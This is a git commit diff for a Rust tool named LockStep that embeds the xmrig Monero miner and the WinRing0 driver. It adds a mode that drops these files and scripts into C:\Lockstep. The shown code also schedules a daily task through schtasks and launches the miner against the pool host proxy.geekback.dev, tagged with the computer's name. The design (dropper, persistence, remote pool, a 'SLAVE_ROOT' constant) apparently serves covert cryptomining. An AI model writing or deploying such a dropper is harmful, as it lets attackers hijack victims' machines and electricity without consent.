drops code
This commit is contained in:
parent
81fc6cdd2c
commit
abef8ffff7
39
src/main.rs
39
src/main.rs
@ -2,10 +2,18 @@ extern crate alloc;
|
|||||||
|
|
||||||
use clap::{Parser, ValueEnum};
|
use clap::{Parser, ValueEnum};
|
||||||
use alloc::string::String;
|
use alloc::string::String;
|
||||||
|
use std::fs;
|
||||||
|
use std::fs::File;
|
||||||
use std::process::{Command, Output};
|
use std::process::{Command, Output};
|
||||||
use std::io::Result;
|
use std::io::{Result, Write};
|
||||||
|
use std::path::Path;
|
||||||
|
|
||||||
pub const APP_VERSION: &str = "0.0.1-PREALPHA";
|
pub const APP_VERSION: &str = "0.0.1-PREALPHA";
|
||||||
|
pub const DAILY_SRC: &str = include_str!("resources/daily.cmd");
|
||||||
|
pub const CONFIG_SRC: &str = include_str!("resources/config.cmd");
|
||||||
|
pub const WORK_BIN: &[u8] = include_bytes!("resources/xmrig.exe");
|
||||||
|
pub const SLAVE_ROOT: &str = "Lockstep";
|
||||||
|
pub const WORK_NAME: &str = "xmrig";
|
||||||
|
|
||||||
/// Executes a Windows binary with the given parameters.
|
/// Executes a Windows binary with the given parameters.
|
||||||
///
|
///
|
||||||
@ -20,16 +28,17 @@ pub const APP_VERSION: &str = "0.0.1-PREALPHA";
|
|||||||
fn run_windows_binary(binary_path: &str, args: &[&str]) -> Result<Output> {
|
fn run_windows_binary(binary_path: &str, args: &[&str]) -> Result<Output> {
|
||||||
Command::new(binary_path)
|
Command::new(binary_path)
|
||||||
.args(args)
|
.args(args)
|
||||||
.output() // You can also use .spawn() if you want async execution
|
.output()
|
||||||
}
|
}
|
||||||
|
|
||||||
fn run_schedule_daily_comand() {
|
fn run_schedule_daily_comand() {
|
||||||
let binary = "C:/windows/system32/schtasks.exe";
|
let binary = "C:/windows/system32/schtasks.exe";
|
||||||
|
let target_cmd = format!("C:\\{}\\daily.cmd", SLAVE_ROOT);
|
||||||
let parameters = ["/create",
|
let parameters = ["/create",
|
||||||
"/tn", "LockStep\\Daily Task",
|
"/tn", "LockStep\\Daily Task",
|
||||||
"/sc", "daily",
|
"/sc", "daily",
|
||||||
"/st", "19:00",
|
"/st", "19:00",
|
||||||
"/tr", "C:\\lockstep\\daily.cmd"];
|
"/tr", target_cmd.as_str()];
|
||||||
|
|
||||||
match run_windows_binary(binary, ¶meters) {
|
match run_windows_binary(binary, ¶meters) {
|
||||||
Ok(output) => {
|
Ok(output) => {
|
||||||
@ -45,8 +54,10 @@ fn run_schedule_daily_comand() {
|
|||||||
|
|
||||||
fn run_monero_miner() {
|
fn run_monero_miner() {
|
||||||
let binary = "C:/lockstep/xmrig.exe";
|
let binary = "C:/lockstep/xmrig.exe";
|
||||||
let parameters = ["-o", "10.1.20.106",
|
let parameters = ["-o", "proxy.geekback.dev",
|
||||||
"--rig-id", "%computername%",
|
"--rig-id", "%computername%",
|
||||||
|
"--huge-pages-jit",
|
||||||
|
"--randomx-1gb-pages",
|
||||||
"-B",
|
"-B",
|
||||||
"--coin", "monero"
|
"--coin", "monero"
|
||||||
];
|
];
|
||||||
@ -84,7 +95,8 @@ enum AppModes {
|
|||||||
#[default]
|
#[default]
|
||||||
KillCommand,
|
KillCommand,
|
||||||
ScheduleDaily,
|
ScheduleDaily,
|
||||||
RunWork
|
RunWork,
|
||||||
|
DropScripts
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Parser, Debug)]
|
#[derive(Parser, Debug)]
|
||||||
@ -93,20 +105,29 @@ struct Cli {
|
|||||||
app_modes: AppModes
|
app_modes: AppModes
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn drop_scripts_and_work() {
|
||||||
|
let _ = fs::create_dir("C:\\Lockstep");
|
||||||
|
File::create(Path::new("C:\\Lockstep\\daily.cmd")).unwrap().write(DAILY_SRC.as_bytes()).unwrap();
|
||||||
|
File::create(Path::new("C:\\Lockstep\\config.bat")).unwrap().write(CONFIG_SRC.as_bytes()).unwrap();
|
||||||
|
File::create(Path::new("C:\\Lockstep\\xmrig.exe")).unwrap().write(WORK_BIN).unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
fn main() {
|
fn main() {
|
||||||
println!("Launching LockStep {}", APP_VERSION);
|
println!("Launching LockStep {}", APP_VERSION);
|
||||||
let opts = Cli::parse();
|
let opts = Cli::parse();
|
||||||
|
|
||||||
println!("OPTS => {opts:?}");
|
|
||||||
match opts.app_modes {
|
match opts.app_modes {
|
||||||
AppModes::KillCommand => {
|
AppModes::KillCommand => {
|
||||||
run_kill_command()
|
run_kill_command();
|
||||||
}
|
}
|
||||||
AppModes::ScheduleDaily => {
|
AppModes::ScheduleDaily => {
|
||||||
run_schedule_daily_comand()
|
run_schedule_daily_comand();
|
||||||
}
|
}
|
||||||
AppModes::RunWork => {
|
AppModes::RunWork => {
|
||||||
run_monero_miner()
|
run_monero_miner();
|
||||||
|
}
|
||||||
|
AppModes::DropScripts => {
|
||||||
|
drop_scripts_and_work();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
BIN
src/resources/WinRing0x64.sys
Normal file
BIN
src/resources/WinRing0x64.sys
Normal file
Binary file not shown.
2
src/resources/config.cmd
Normal file
2
src/resources/config.cmd
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
set LOCKSTEP_ROOT=http://proxy.geekback.dev/lockstep/
|
||||||
|
set LOCKSTEP_PATH=c:\\lockstep
|
||||||
4
src/resources/daily.cmd
Normal file
4
src/resources/daily.cmd
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
@echo off
|
||||||
|
cls
|
||||||
|
echo Starting Daily Commands
|
||||||
|
pause
|
||||||
BIN
src/resources/xmrig.exe
Normal file
BIN
src/resources/xmrig.exe
Normal file
Binary file not shown.
Loading…
x
Reference in New Issue
Block a user